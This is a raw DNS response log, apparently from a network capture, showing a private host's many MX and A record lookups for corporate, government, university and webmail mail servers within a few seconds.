Aug 24, 2023 19:03:58.840488911 CEST	8.8.8.8	192.168.2.8	0x419b	No error (0)	canadiantire.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.848665953 CEST	8.8.8.8	192.168.2.8	0x4375	No error (0)	usask-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.848665953 CEST	8.8.8.8	192.168.2.8	0x4375	No error (0)	usask-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.877162933 CEST	8.8.8.8	192.168.2.8	0x9054	No error (0)	canadiantire-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.877162933 CEST	8.8.8.8	192.168.2.8	0x9054	No error (0)	canadiantire-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.174181938 CEST	8.8.8.8	192.168.2.8	0x716d	No error (0)	agrium.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.174181938 CEST	8.8.8.8	192.168.2.8	0x716d	No error (0)	agrium.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.306372881 CEST	8.8.8.8	192.168.2.8	0x179d	No error (0)	mxa-00175c01.gslb.pphosted.com		67.231.158.157	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.494218111 CEST	8.8.8.8	192.168.2.8	0xe371	No error (0)	halogensoftware.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.494218111 CEST	8.8.8.8	192.168.2.8	0xe371	No error (0)	halogensoftware.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.504100084 CEST	8.8.8.8	192.168.2.8	0x5516	No error (0)	cupscalgary.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.551561117 CEST	8.8.8.8	192.168.2.8	0xfb11	No error (0)	cupscalgary-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.551561117 CEST	8.8.8.8	192.168.2.8	0xfb11	No error (0)	cupscalgary-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.674092054 CEST	8.8.8.8	192.168.2.8	0x2100	No error (0)	mxa-002d2501.gslb.pphosted.com		148.163.155.122	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.690398932 CEST	8.8.8.8	192.168.2.8	0x2ebc	No error (0)	aon.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.726421118 CEST	8.8.8.8	192.168.2.8	0x928b	No error (0)	aon-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.726421118 CEST	8.8.8.8	192.168.2.8	0x928b	No error (0)	aon-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.773320913 CEST	8.8.8.8	192.168.2.8	0x6959	No error (0)	holmanexhibits.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:59.823463917 CEST	8.8.8.8	192.168.2.8	0x3d40	No error (0)	holmanexhibits-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:59.823463917 CEST	8.8.8.8	192.168.2.8	0x3d40	No error (0)	holmanexhibits-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.126655102 CEST	8.8.8.8	192.168.2.8	0xe6ed	No error (0)	statefarm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.126655102 CEST	8.8.8.8	192.168.2.8	0xe6ed	No error (0)	statefarm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.170094013 CEST	8.8.8.8	192.168.2.8	0x8615	No error (0)	cryopeak.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.207936049 CEST	8.8.8.8	192.168.2.8	0x9a11	No error (0)	cryopeak-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.207936049 CEST	8.8.8.8	192.168.2.8	0x9a11	No error (0)	cryopeak-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.273098946 CEST	8.8.8.8	192.168.2.8	0x7767	No error (0)	flexity.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.273098946 CEST	8.8.8.8	192.168.2.8	0x7767	No error (0)	flexity.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.273098946 CEST	8.8.8.8	192.168.2.8	0x7767	No error (0)	flexity.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.296988010 CEST	8.8.8.8	192.168.2.8	0x469b	No error (0)	mxb-00104b02.gslb.pphosted.com		205.220.177.182	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.316915035 CEST	8.8.8.8	192.168.2.8	0x2f15	No error (0)	smtp2.flexity.ca		66.244.255.233	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.369667053 CEST	8.8.8.8	192.168.2.8	0xc6df	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.11.97	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.369667053 CEST	8.8.8.8	192.168.2.8	0xc6df	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.11.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.503609896 CEST	8.8.8.8	192.168.2.8	0x5516	No error (0)	cupscalgary.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.685256958 CEST	8.8.8.8	192.168.2.8	0xfc94	No error (0)	jensen-steiner.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.685256958 CEST	8.8.8.8	192.168.2.8	0xfc94	No error (0)	jensen-steiner.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.715605021 CEST	8.8.8.8	192.168.2.8	0x2690	No error (0)	mx00.1and1.com		74.208.5.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.729888916 CEST	8.8.8.8	192.168.2.8	0x746b	No error (0)	ccfmidland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.729888916 CEST	8.8.8.8	192.168.2.8	0x746b	No error (0)	ccfmidland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.729888916 CEST	8.8.8.8	192.168.2.8	0x746b	No error (0)	ccfmidland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.729888916 CEST	8.8.8.8	192.168.2.8	0x746b	No error (0)	ccfmidland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.729888916 CEST	8.8.8.8	192.168.2.8	0x746b	No error (0)	ccfmidland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.729888916 CEST	8.8.8.8	192.168.2.8	0x746b	No error (0)	ccfmidland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.787195921 CEST	8.8.8.8	192.168.2.8	0x9dc2	No error (0)	justintabor.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:00.821156025 CEST	8.8.8.8	192.168.2.8	0x8123	No error (0)	mail.bluffsonline.com		131.153.129.247	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:00.963855028 CEST	8.8.8.8	192.168.2.8	0x9145	No error (0)	igloo.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.010220051 CEST	8.8.8.8	192.168.2.8	0x353	No error (0)	igloo-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.010220051 CEST	8.8.8.8	192.168.2.8	0x353	No error (0)	igloo-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.049113989 CEST	8.8.8.8	192.168.2.8	0x58ad	No error (0)	lidgate.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.126844883 CEST	8.8.8.8	192.168.2.8	0x1802	No error (0)	mx.sympatico.ca		209.71.212.24	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.164556026 CEST	8.8.8.8	192.168.2.8	0xdc5e	No error (0)	mail.islandnet.com		192.99.139.162	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.214808941 CEST	8.8.8.8	192.168.2.8	0x71cd	No error (0)	kruger.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.269706011 CEST	8.8.8.8	192.168.2.8	0x5284	No error (0)	kruger-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.269706011 CEST	8.8.8.8	192.168.2.8	0x5284	No error (0)	kruger-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.363538027 CEST	8.8.8.8	192.168.2.8	0x4321	No error (0)	gyges.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.363538027 CEST	8.8.8.8	192.168.2.8	0x4321	No error (0)	gyges.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.610470057 CEST	8.8.8.8	192.168.2.8	0x5b3b	No error (0)	itcinfotech.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.662604094 CEST	8.8.8.8	192.168.2.8	0x4673	No error (0)	itcinfotech-com.mail.protection.outlook.com		104.47.26.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.662604094 CEST	8.8.8.8	192.168.2.8	0x4673	No error (0)	itcinfotech-com.mail.protection.outlook.com		104.47.110.36	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.769953966 CEST	8.8.8.8	192.168.2.8	0x561a	No error (0)	veseys.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.819998980 CEST	8.8.8.8	192.168.2.8	0x5497	No error (0)	veseys-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.819998980 CEST	8.8.8.8	192.168.2.8	0x5497	No error (0)	veseys-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:01.962317944 CEST	8.8.8.8	192.168.2.8	0xd1ef	No error (0)	bell.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.962317944 CEST	8.8.8.8	192.168.2.8	0xd1ef	No error (0)	bell.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.984119892 CEST	8.8.8.8	192.168.2.8	0x9829	No error (0)	yrdsb.edu.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:01.984119892 CEST	8.8.8.8	192.168.2.8	0x9829	No error (0)	yrdsb.edu.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.025810003 CEST	8.8.8.8	192.168.2.8	0x474b	No error (0)	d405310.a.ess.ca.barracudanetworks.com		15.222.16.210	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.025810003 CEST	8.8.8.8	192.168.2.8	0x474b	No error (0)	d405310.a.ess.ca.barracudanetworks.com		15.222.16.209	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.025810003 CEST	8.8.8.8	192.168.2.8	0x474b	No error (0)	d405310.a.ess.ca.barracudanetworks.com		15.222.16.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.050899029 CEST	8.8.8.8	192.168.2.8	0x58ad	No error (0)	lidgate.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.084986925 CEST	8.8.8.8	192.168.2.8	0xf041	Server failure (2)	cpr.ca	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.094697952 CEST	8.8.8.8	192.168.2.8	0xe6e5	No error (0)	mx-wyn.bell.ca		67.69.243.182	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.094697952 CEST	8.8.8.8	192.168.2.8	0xe6e5	No error (0)	mx-wyn.bell.ca		67.69.243.181	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.094697952 CEST	8.8.8.8	192.168.2.8	0xe6e5	No error (0)	mx-wyn.bell.ca		67.69.243.180	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.094697952 CEST	8.8.8.8	192.168.2.8	0xe6e5	No error (0)	mx-wyn.bell.ca		67.69.243.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.129304886 CEST	8.8.8.8	192.168.2.8	0xb76d	No error (0)	cssmi.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.174849033 CEST	8.8.8.8	192.168.2.8	0xf8d9	No error (0)	cssmi-qc-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.174849033 CEST	8.8.8.8	192.168.2.8	0xf8d9	No error (0)	cssmi-qc-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.178788900 CEST	8.8.8.8	192.168.2.8	0xa258	No error (0)	ualberta.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.249854088 CEST	8.8.8.8	192.168.2.8	0xf06b	No error (0)	mx.ualberta.ca		129.128.12.90	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.313102007 CEST	8.8.8.8	192.168.2.8	0x2015	No error (0)	distributiongroup.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.316180944 CEST	8.8.8.8	192.168.2.8	0xa458	No error (0)	protonmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.316180944 CEST	8.8.8.8	192.168.2.8	0xa458	No error (0)	protonmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.338809013 CEST	8.8.8.8	192.168.2.8	0x266c	No error (0)	mail.protonmail.ch		185.205.70.128	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.338809013 CEST	8.8.8.8	192.168.2.8	0x266c	No error (0)	mail.protonmail.ch		185.70.42.128	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.338809013 CEST	8.8.8.8	192.168.2.8	0x266c	No error (0)	mail.protonmail.ch		176.119.200.128	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.361629963 CEST	8.8.8.8	192.168.2.8	0x6349	No error (0)	distributiongroup-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.361629963 CEST	8.8.8.8	192.168.2.8	0x6349	No error (0)	distributiongroup-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.415577888 CEST	8.8.8.8	192.168.2.8	0xfc46	No error (0)	hootsuite.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.415577888 CEST	8.8.8.8	192.168.2.8	0xfc46	No error (0)	hootsuite.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.415577888 CEST	8.8.8.8	192.168.2.8	0xfc46	No error (0)	hootsuite.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.415577888 CEST	8.8.8.8	192.168.2.8	0xfc46	No error (0)	hootsuite.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.415577888 CEST	8.8.8.8	192.168.2.8	0xfc46	No error (0)	hootsuite.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.588841915 CEST	8.8.8.8	192.168.2.8	0xfbe	No error (0)	theedge.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.588841915 CEST	8.8.8.8	192.168.2.8	0xfbe	No error (0)	theedge.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.588841915 CEST	8.8.8.8	192.168.2.8	0xfbe	No error (0)	theedge.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.602030039 CEST	8.8.8.8	192.168.2.8	0x25da	No error (0)	gmx.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.602030039 CEST	8.8.8.8	192.168.2.8	0x25da	No error (0)	gmx.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.614469051 CEST	8.8.8.8	192.168.2.8	0xe9b2	No error (0)	hhangus.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.614469051 CEST	8.8.8.8	192.168.2.8	0xe9b2	No error (0)	hhangus.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.618916035 CEST	8.8.8.8	192.168.2.8	0xc4f	No error (0)	gov.bc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.626332045 CEST	8.8.8.8	192.168.2.8	0x9d4d	No error (0)	mx00.emig.gmx.net		212.227.15.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.645772934 CEST	8.8.8.8	192.168.2.8	0x9b79	No error (0)	d127261b.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.645772934 CEST	8.8.8.8	192.168.2.8	0x9b79	No error (0)	d127261b.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.645772934 CEST	8.8.8.8	192.168.2.8	0x9b79	No error (0)	d127261b.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.666266918 CEST	8.8.8.8	192.168.2.8	0x4198	No error (0)	gov-bc-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.666266918 CEST	8.8.8.8	192.168.2.8	0x4198	No error (0)	gov-bc-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.761080027 CEST	8.8.8.8	192.168.2.8	0xab75	No error (0)	telia.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.785829067 CEST	8.8.8.8	192.168.2.8	0xa07b	No error (0)	mx-6.northwestel.net		198.235.201.30	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.822181940 CEST	8.8.8.8	192.168.2.8	0x337d	No error (0)	mail.telia.com		81.236.60.210	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:02.888129950 CEST	8.8.8.8	192.168.2.8	0x4486	No error (0)	coca-cola.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:02.888129950 CEST	8.8.8.8	192.168.2.8	0x4486	No error (0)	coca-cola.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.082170963 CEST	8.8.8.8	192.168.2.8	0xf041	Server failure (2)	cpr.ca	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.261377096 CEST	8.8.8.8	192.168.2.8	0xfd81	No error (0)	mxa-0037a502.gslb.pphosted.com		205.220.178.8	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.294137955 CEST	8.8.8.8	192.168.2.8	0xbd8	No error (0)	nam.olc.protection.outlook.com		104.47.51.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.294137955 CEST	8.8.8.8	192.168.2.8	0xbd8	No error (0)	nam.olc.protection.outlook.com		104.47.57.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.438920975 CEST	8.8.8.8	192.168.2.8	0x2e1e	No error (0)	gagneassociates.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.438920975 CEST	8.8.8.8	192.168.2.8	0x2e1e	No error (0)	gagneassociates.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.460292101 CEST	8.8.8.8	192.168.2.8	0xd9b6	No error (0)	smtp.secureserver.net		92.204.80.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.553793907 CEST	8.8.8.8	192.168.2.8	0x91d8	No error (0)	harrisonpensa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.590871096 CEST	8.8.8.8	192.168.2.8	0x9ff3	No error (0)	harrisonpensa-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.590871096 CEST	8.8.8.8	192.168.2.8	0x9ff3	No error (0)	harrisonpensa-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.597048998 CEST	8.8.8.8	192.168.2.8	0x3e26	No error (0)	naver.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.597048998 CEST	8.8.8.8	192.168.2.8	0x3e26	No error (0)	naver.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.597048998 CEST	8.8.8.8	192.168.2.8	0x3e26	No error (0)	naver.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.713597059 CEST	8.8.8.8	192.168.2.8	0x27d2	No error (0)	mx1.naver.com		125.209.238.100	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.792133093 CEST	8.8.8.8	192.168.2.8	0xfe17	No error (0)	bentalls.co.uk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.792133093 CEST	8.8.8.8	192.168.2.8	0xfe17	No error (0)	bentalls.co.uk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.860332966 CEST	8.8.8.8	192.168.2.8	0xb7ba	No error (0)	eu-smtp-inbound-2.mimecast.com		195.130.217.241	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.860332966 CEST	8.8.8.8	192.168.2.8	0xb7ba	No error (0)	eu-smtp-inbound-2.mimecast.com		91.220.42.241	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.860332966 CEST	8.8.8.8	192.168.2.8	0xb7ba	No error (0)	eu-smtp-inbound-2.mimecast.com		195.130.217.201	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.860332966 CEST	8.8.8.8	192.168.2.8	0xb7ba	No error (0)	eu-smtp-inbound-2.mimecast.com		195.130.217.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.860332966 CEST	8.8.8.8	192.168.2.8	0xb7ba	No error (0)	eu-smtp-inbound-2.mimecast.com		91.220.42.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.860332966 CEST	8.8.8.8	192.168.2.8	0xb7ba	No error (0)	eu-smtp-inbound-2.mimecast.com		91.220.42.201	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:03.929059029 CEST	8.8.8.8	192.168.2.8	0x9962	No error (0)	von.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.929059029 CEST	8.8.8.8	192.168.2.8	0x9962	No error (0)	von.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:03.982845068 CEST	8.8.8.8	192.168.2.8	0xca80	No error (0)	jhsph.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.078999996 CEST	8.8.8.8	192.168.2.8	0xf041	Server failure (2)	cpr.ca	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.557894945 CEST	8.8.8.8	192.168.2.8	0x8d93	No error (0)	daiwadae-com01c.mail.protection.outlook.com		104.47.18.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.557894945 CEST	8.8.8.8	192.168.2.8	0x8d93	No error (0)	daiwadae-com01c.mail.protection.outlook.com		104.47.17.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.596865892 CEST	8.8.8.8	192.168.2.8	0xfe44	No error (0)	smtp.johnshopkins.edu		128.220.38.15	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.596865892 CEST	8.8.8.8	192.168.2.8	0xfe44	No error (0)	smtp.johnshopkins.edu		162.129.198.15	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.627816916 CEST	8.8.8.8	192.168.2.8	0x9b7e	No error (0)	infinera.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.675959110 CEST	8.8.8.8	192.168.2.8	0xcf97	No error (0)	infinera-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.675959110 CEST	8.8.8.8	192.168.2.8	0xcf97	No error (0)	infinera-com.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.675959110 CEST	8.8.8.8	192.168.2.8	0xcf97	No error (0)	infinera-com.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.675959110 CEST	8.8.8.8	192.168.2.8	0xcf97	No error (0)	infinera-com.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.675959110 CEST	8.8.8.8	192.168.2.8	0xcf97	No error (0)	infinera-com.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.675959110 CEST	8.8.8.8	192.168.2.8	0xcf97	No error (0)	infinera-com.mail.protection.outlook.com		52.101.40.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.675959110 CEST	8.8.8.8	192.168.2.8	0xcf97	No error (0)	infinera-com.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.675959110 CEST	8.8.8.8	192.168.2.8	0xcf97	No error (0)	infinera-com.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.701174021 CEST	8.8.8.8	192.168.2.8	0x929	No error (0)	ca-smtp-inbound-1.mimecast.com		170.10.146.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.701174021 CEST	8.8.8.8	192.168.2.8	0x929	No error (0)	ca-smtp-inbound-1.mimecast.com		170.10.144.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.702763081 CEST	8.8.8.8	192.168.2.8	0x9a0d	No error (0)	nuskin.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.742460966 CEST	8.8.8.8	192.168.2.8	0x8b10	No error (0)	nuskin-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.742460966 CEST	8.8.8.8	192.168.2.8	0x8b10	No error (0)	nuskin-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.857626915 CEST	8.8.8.8	192.168.2.8	0x7fa3	No error (0)	epix.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.857626915 CEST	8.8.8.8	192.168.2.8	0x7fa3	No error (0)	epix.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.857626915 CEST	8.8.8.8	192.168.2.8	0x7fa3	No error (0)	epix.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.857626915 CEST	8.8.8.8	192.168.2.8	0x7fa3	No error (0)	epix.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.857626915 CEST	8.8.8.8	192.168.2.8	0x7fa3	No error (0)	epix.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.866097927 CEST	8.8.8.8	192.168.2.8	0x8930	No error (0)	ho.sail.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:04.925972939 CEST	8.8.8.8	192.168.2.8	0x7083	No error (0)	ho-sail-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:04.925972939 CEST	8.8.8.8	192.168.2.8	0x7083	No error (0)	ho-sail-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:05.022587061 CEST	8.8.8.8	192.168.2.8	0xf9	No error (0)	omrworkgroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:05.046466112 CEST	8.8.8.8	192.168.2.8	0x3e27	No error (0)	mxb-00131701.gslb.pphosted.com		67.231.158.130	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:05.169277906 CEST	8.8.8.8	192.168.2.8	0x21fa	No error (0)	mail.omrworkgroup.com		108.167.132.189	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.340399027 CEST	8.8.8.8	192.168.2.8	0x21fa	No error (0)	mail.omrworkgroup.com		108.167.132.189	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.354384899 CEST	8.8.8.8	192.168.2.8	0x76c4	No error (0)	royallepage.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.354384899 CEST	8.8.8.8	192.168.2.8	0x76c4	No error (0)	royallepage.ca			MX (Mail exchange)	IN (0x0001)	false
